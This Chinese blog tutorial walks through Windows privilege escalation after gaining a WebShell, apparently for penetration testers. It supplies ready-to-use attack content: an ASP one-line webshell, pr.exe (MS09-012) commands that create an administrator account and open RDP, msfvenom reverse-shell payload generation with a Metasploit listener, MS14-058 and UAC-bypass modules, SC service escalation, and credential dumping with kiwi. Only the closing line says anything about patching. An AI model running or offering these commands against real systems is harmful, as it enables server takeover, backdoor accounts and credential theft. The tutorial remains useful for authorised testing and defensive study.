Windows提权实战博客

在渗透测试的完整流程中,当我们通过 SQL 注入、文件上传、命令执行等方式突破 Web 边界,拿到目标服务器的 WebShell 后,往往会陷入一个尴尬的境地:当前的来宾用户权限极低,连执行系统命令、添加用户这类基础操作都无法完成。

这时候,\\ 权限提升(Privilege Escalation,简称提权)\\ 就成了我们拿下目标服务器的关键一步。本文将以 Windows Server 2003 为演示环境,带你一步步从低权限的 WebShell 出发,通过多种经典提权方法,最终拿到 System 最高权限,完成对目标服务器的完全控制。


一、前置准备:从 WebShell 到命令执行

提权的前提,是我们已经拿到了目标的 WebShell。

1.1 什么是 WebShell?

WebShell 本质上就是一个以 asp、php、jsp、cgi 等网页文件形式存在的代码执行环境,攻击者可以通过它远程对目标网站 / 服务器进行管理操作。最常见的 WebShell 就是一句话木马,比如 ASP 版本的一句话木马仅需一行代码:

复制代码
<%eval request("test")%>

这行代码的作用是接收我们传入的参数,然后作为 ASP 代码执行,从而实现任意命令的执行。

1.2 连接 WebShell:中国菜刀的使用

拿到一句话木马后,我们可以通过中国菜刀(一款经典的 WebShell 管理工具)连接目标服务器。只需要填入木马的地址、连接密码,就能建立连接。

连接成功后,我们就可以浏览目标网站的文件、管理数据库,还能打开虚拟终端执行系统命令。

1.3 突破命令执行限制

但是当我们刚打开虚拟终端,尝试执行whoamidir这类基础命令时,却会发现提示拒绝访问

这是为什么呢? 因为 Web 服务的默认运行身份是IUSR\_计算机名,也就是来宾用户,这个权限极低。系统默认的cmd\.exe没有给来宾用户开放执行权限,所以我们直接调用系统自带的 cmd 是无法执行命令的。

那我们该怎么解决这个问题? 思路很简单:既然系统的 cmd 用不了,我们就自己传一个 cmd 上去!

  1. 找到可读写目录 :首先我们需要找到目标服务器上我们有读写权限的目录。我们可以上传一个目录权限检测脚本(比如 666.asp),访问后输入要检测的目录(比如 C 盘),就能找到像C:\\wmpub\\这类我们有完全读写权限的目录。

  2. 上传自定义 cmd :我们在本地的 Windows 2003 虚拟机中,提取出系统的cmd\.exe,通过菜刀上传到刚才找到的可读写目录里。

  3. 配置菜刀的 cmd 路径 :在菜刀的终端里,用setp命令指定我们上传的 cmd 的绝对路径:

    复制代码
    setp c:\wmpub\cmd.exe

这一步的原理是:我们自己上传的 cmd.exe,是以来宾用户的身份运行的,它本身就拥有 IUSR 用户的执行权限,所以我们可以通过它来正常执行系统命令了。

配置完成后,我们再执行命令,就可以正常得到结果了!不过这时候我们的权限还是来宾用户,想要添加用户、修改系统配置,还是会提示拒绝访问 ------ 这时候就需要真正的提权操作了。


二、经典内核提权:MS09-012(巴西烤肉)

想要提权,首先我们得知道目标服务器有哪些未打补丁的漏洞。

2.1 漏洞探测:找出未打的补丁

我们可以执行systeminfo命令,查看系统的详细配置和补丁信息,然后用这个批量检测命令,快速找出目标未打的、可用于提权的补丁:

复制代码
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 )) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt

这个命令会对比常见提权漏洞对应的补丁编号,把目标没打的补丁列出来,我们就可以根据这些补丁找对应的 EXP 来提权了。

2.2 巴西烤肉提权:从 Guest 到 System

对于 Windows Server 2003,最经典的提权漏洞就是MS09-012 ,也就是大家常说的 &#34;巴西烤肉&#34; 提权。

这个漏洞的原理是:Windows 的 RPCSS 服务没有正确隔离 NetworkService 或 LocalService 账号下的进程,本地攻击者可以利用令牌劫持的方式,突破权限边界,把低权限的来宾用户直接提升到 System 权限。成功利用后,攻击者可以完全控制目标系统,安装程序、修改数据、创建管理员账号都不在话下。

具体的利用步骤非常简单:

  1. 把 MS09-012 对应的利用工具pr\.exe上传到目标的可读写目录,比如C:\\wmpub\\

  2. 切换到这个目录,然后用pr\.exe来执行我们想要的命令,格式是pr\.exe \&\#34;要执行的命令\&\#34; 比如我们先执行:

    复制代码
     pr.exe "whoami"

    这时候你会发现,返回的用户身份是NT AUTHORITY\\SYSTEM

这就说明我们已经提权成功了!接下来我们就可以做任何我们想做的操作了:

  • 添加管理员用户:

    复制代码
    pr.exe "net user 1234 1234 /add"
  • 把用户加入管理员组:

    复制代码
    pr.exe "net localgroup administrators 1234 /add"
  • 开启 3389 远程桌面:我们可以通过注册表命令一键开启远程桌面服务:

    复制代码
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

完成之后,我们就可以用 Windows 自带的远程桌面连接工具,输入目标服务器的 IP,用我们创建的 1234 账号密码登录,直接拿到目标服务器的桌面权限了!

到这里,我们就已经完全控制了这台目标服务器!


三、MSF 辅助提权:更高效的渗透流程

除了手动用 EXP 提权,我们还可以用 Metasploit(MSF)这个渗透神器来更方便地完成整个提权流程。

3.1 生成反弹木马

首先,我们在 Kali Linux 中,用msfvenom工具生成一个 Windows 的反弹木马:

复制代码
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.9 lport=4444 -f exe -o hack.exe

这个命令会生成一个 exe 文件,运行后会主动连接我们的 Kali 机器,给我们返回一个 Meterpreter 会话。

3.2 启动监听

然后我们在 Kali 中启动 MSF,设置监听,等待目标上线:

复制代码
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.0.9
set lport 4444
run

3.3 上线与提权

接下来,我们把生成的hack\.exe上传到目标服务器,然后在菜刀的终端里执行它。这时候 Kali 的监听就会收到目标的反弹 Shell 了!

这时候我们执行getuid,会发现当前的权限是NETWORK SERVICE,还是不够高。我们可以先尝试最简单的getsystem命令,它会自动尝试多种提权方法,如果目标未打相关补丁,就能直接提权到 System。

如果getsystem失败了,我们还可以尝试用具体的漏洞模块来提权,比如MS14-058这个经典的内核提权漏洞,它可以影响从 Windows 2003 到 Win7 的多个系统。 操作步骤:

复制代码
# 先把当前会话放到后台
background
# 搜索MS14-058的利用模块
search ms14_058
# 加载模块
use exploit/windows/local/ms14_058_track_popup_menu
# 查看需要配置的参数
show options
# 设置我们要提权的会话ID
set SESSION 1
# 执行攻击
run

执行完成后,我们就会得到一个新的、System 权限的会话!这时候再执行getuid,就能看到我们已经拿到了最高权限。


四、绕过 UAC:突破高版本系统的权限限制

如果目标是 Win7 及以上的系统,我们拿到管理员权限的 Shell 后,可能会发现还是无法执行一些高权限操作,这时候大概率是遇到了UAC(用户账户控制)

UAC 是 Windows Vista 之后引入的安全机制,它会限制管理员用户的默认权限,当需要高权限操作时,会弹出确认提示,而我们的恶意程序无法触发这个提示,所以就会被拦截。

这时候我们就可以用 Bypass UAC 的方法来绕过这个限制:

  1. 同样,我们先拿到目标的反弹 Shell,然后把会话放到后台。

  2. 在 MSF 中搜索 bypassuac 的模块:

    复制代码
    search bypassuac
    use exploit/windows/local/bypassuac
  3. 设置对应的会话,然后执行run,这个模块会通过白名单提权的方式,绕过 UAC 的限制,给我们返回一个高权限的 Shell。

  4. 拿到新的会话后,再执行getsystem,就能成功提权到 System 权限了!


五、其他实用提权技巧

除了内核漏洞提权,还有很多其他的提权方法,在不同的场景下都非常有用:

5.1 SC 服务提权

SC 是 Windows 的服务控制命令,我们可以创建一个交互类型的服务,它会默认以 System 权限运行:

复制代码
sc Create syscm binPath= "cmd /K start" type= own type= interact
sc start syscm

执行后,就会弹出一个 System 权限的 CMD 窗口,我们直接就拿到了最高权限!

5.2 不安全的空格提权

很多第三方软件的服务路径没有加引号,比如C:\\Program Files\\Test\\test\.exe,Windows 在处理这种路径的时候,会优先尝试执行C:\\Program\.exe,因为它会把空格当成路径的分隔。

如果这个软件的根目录我们有读写权限,我们就可以上传一个恶意的 exe,命名为Program\.exe,当服务启动的时候,就会执行我们的恶意程序,而且会继承服务的 System 权限,完成提权!

5.3 Cobalt Strike 提权

如果我们用的是 Cobalt Strike(CS)这款红队工具,提权和后续的信息收集会更加方便:

  • 拿到 CS 的会话后,直接在右键菜单中就有提权选项,它会自动尝试多种提权方法。

  • 提权成功后,我们可以直接抓取系统的账号密码 Hash、明文凭证,用来做内网的横向移动。

  • 还可以生成黄金票据、进行令牌窃取,来伪装成其他用户,甚至域管理员。


六、提权后的信息收集

提权成功拿到 System 权限后,我们一般会做信息收集,方便我们后续的渗透:

  • 抓取系统凭证:在 MSF 中,我们可以加载 kiwi 模块,来提取系统的所有凭证:

    复制代码
    load kiwi
    creds_all

    这些凭证不仅可以让我们用原有的账号登录,不会被管理员发现新账号,还可以用来爆破内网的其他服务器。

  • 进程迁移:如果我们的 Shell 会话假死了,可以把进程迁移到一个 System 权限的系统进程里,就能恢复正常的操作了。


写在最后

Windows 提权是渗透测试中非常关键的一步,从低权限的 WebShell 到 System 权限,有非常多的方法和技巧。内核漏洞提权、UAC 绕过、服务漏洞提权等等,不同的场景下我们需要灵活选择对应的方法。

当然,对于服务器管理员来说,及时给系统打补丁、做好最小权限配置、开启 UAC 防护,才是防范这类提权攻击的最好方式。

相关推荐
X7x51 小时前
主机入侵检测系统(HIDS):企业安全的最后一道防线
网络安全·网络攻击模型·安全威胁分析·安全架构·hids
其实防守也摸鱼2 小时前
[特殊字符] Docker + LMArena2API 部署全流程:从环境准备到接口调用,一步到位
运维·网络·安全·web安全·docker·容器·大模型
m0_564914922 小时前
WINDOWS全部窗口最大化解决方案— —Autohotkey
windows
zh路西法2 小时前
【git一键push脚本】基于Windows bat脚本的一键git提交脚本
windows·git·elasticsearch
Desenberg2 小时前
【Claude Code】因为中途修改配置路径导致Claude Code 插件安装失败
windows·bug
祁白_3 小时前
跨平台通用危险函数深度解析
linux·windows·笔记·安全·系统命令
牙牙要健康3 小时前
Windows 下为 VSCode 配置 MSVC 编译工具链:从零安装 Build Tools 到完整配置教程
ide·windows·vscode
wanhengidc3 小时前
服务器 科学技术
运维·服务器·安全·web安全
文章永久免费只为良心3 小时前
反射型 XSS 漏洞从弹窗到劫持页面的进阶利用实战
网络安全·渗透测试·xss·xss漏洞进阶·跨站脚本漏洞进阶·跨站脚本漏洞·漏洞复现步骤